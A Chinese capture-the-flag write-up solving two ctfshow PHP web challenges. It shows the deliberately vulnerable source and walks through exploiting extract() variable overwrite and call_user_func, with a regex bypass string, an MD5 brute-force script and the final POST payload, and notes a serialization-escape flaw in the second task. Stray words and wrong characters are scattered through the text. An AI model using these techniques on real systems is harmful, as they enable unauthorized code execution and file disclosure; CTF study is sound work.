ctfshow_djb杯

  桐桑又开始摸鱼了 ctfshow的比赛整的一手好活。djb杯。php

web1_veryphp

打开就是源码:web

 1  <?php
 2 error_reporting(0);
 3 highlight_file(__FILE__);
 4 include("config.php");
 5 class qwq
 6 {
 7     function __wakeup(){
 8         die("Access Denied!");
 9     }
10     static function oao(){
11         show_source("config.php");
12     }
13 }
14 $str = file_get_contents("php://input");
15 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
16     die("I am sorry but you have to leave.");
17 }else{
18     extract($_POST);
19 }
20 if(isset($shaw_root)){
21     if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
22         echo $hint;
23     }else{
24         echo "Almost there."."<br>";
25     }
26 }else{
27     echo "<br>"."Input correct parameters"."<br>";
28     die();
29 }
30 if($ans===$SecretNumber){
31     echo "<br>"."Congratulations!"."<br>";
32     call_user_func($my_ans);
33 }
34 
35 Input correct parameters

    解析代码,在第四行对咱们未知的文件config.php进行了包含,咱们要去读取config.php就须要去触发qaq这个类中的oao函数。因而咱们去尝试触发这个函数。而且咱们能够看到在代码第32行出现了究极危险函数call_user_func,这个函数能把后面的参数当成函数进行调用。参数能够是系统函数,也能够是已经定义过的函数。好比咱们将这里的$my_ans参数值调为phpinfo(此参数不能含有括号,因此没法执行含有参数的函数),效果和phpinfo()效果是同样的。函数

  以前类中的oao函数就是咱们要进行调用的函数,因而能够在此处将参数值设定为qaq::oao就能成功读到config.php。因而咱们此时的重点应该放在去控制$my_ans这个参数上面。在前面有一个考点是extract的参数变量覆盖,具体考点百度,因而咱们能够经过post参数值对已经存在的参数进行覆盖。要触发危险函数call_user_func须要让$ans和$SecretNumber数值相等。如何相等咱们只能去得到22行中的$hint。
post

  用接地气的话来讲要得到这个hint很简单但也很操蛋。由于那个正则匹配看起来强的雅痞,但实际上稍微会一些正则匹配就不会被难倒。这里挂一篇wh1sper的文章,讲的很详细足够web手去掌握正则匹配(zmr yyds)http://wh1sper.com/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/this

 

  放出个人本地bypass吧,其实不能算bypass,由于绕过确实是很简单加密

  

1 <?php
2 $str = '-a9<b>wdnmd>>>>kkkkabcphp@Rsd';//payload
3 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)) {
4     echo 'wdnmd';
5 }
6 else{
7     echo 'nice!!!';
8 }

  绕过以后会得到hint,内容是Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5spa

  这个md5的值是对已知开头和结尾的字符串的md5加密,看似很nb,实际上只须要去爆破中间的$SecretNumber,由于毕竟是五位数字,也就100000种状况。爆破脚本以下code

  

 1 #Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
 2 import hashlib
 3 for i in range(1,99999):
 4     a = str(i).zfill(5)
 5     payload = 'shaw'+a+'root'
 6     hl = hashlib.md5()
 7     hl.update(payload.encode(encoding='utf-8'))
 8     b = hl.hexdigest()
 9 
10     if b == '166b47a5cb1ca2431a0edfcef200684f':
11         print(a)

 

 

  其中zfill()就是将不足五位数字的数在数字空缺位置上补零,生成由00000到99999全部的五位数字,爆出来结果是21475blog

  而后post传值覆盖$ans就能成功触发危险函数。而且绕过了黑名单(由于思路正确,和出题人彻底一致,经过考点),最终payload:ip

    shaw root=-a9<b>wdnmd>>>>kkkkabcphp@Rsd&ans=21475&my ans=qwq::oao

哦对了还有一个考点:传入参数前shaw_root中间有_过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线_,有空格和[和+

 

web_spaceman

 

  这题。。。出的翻车了,原本打算靠反序列化字符串逃逸的,结果用空格绕过_的conter就能直接对$user_name和$pass_word进行赋值。自己的反序列化字符串逃逸也不是很难。给个源码吧:

 

 1  <?php
 2 error_reporting(0);
 3 highlight_file(__FILE__);
 4 class spaceman
 5 {
 6     public $username;
 7     public $password;
 8     public function __construct($username,$password)
 9     {
10         $this->username = $username;
11         $this->password = $password;
12     }
13     public function __wakeup()
14     {
15         if($this->password==='ctfshowvip')
16         {
17             include("flag.php");
18             echo $flag;    
19         }
20         else
21         {
22             echo 'wrong password';
23         }
24     }
25 }
26 function filter($string){
27     return str_replace('ctfshowup','ctfshow',$string);
28 }
29 $str = file_get_contents("php://input");
30 if(preg_match('/\_|\.|\]|\[/is',$str)){            
31     die("I am sorry but you have to leave.");
32 }else{
33     extract($_POST);
34 }
35 $ser = filter(serialize(new spaceman($user_name,$pass_word)));
36 $test = unserialize($ser);
37 ?> 

 

web3|4_虎山行

  这两个会在明天的phar反序列化合集中出现。即当你看到这句话的下一天。

相关文章
相关标签/搜索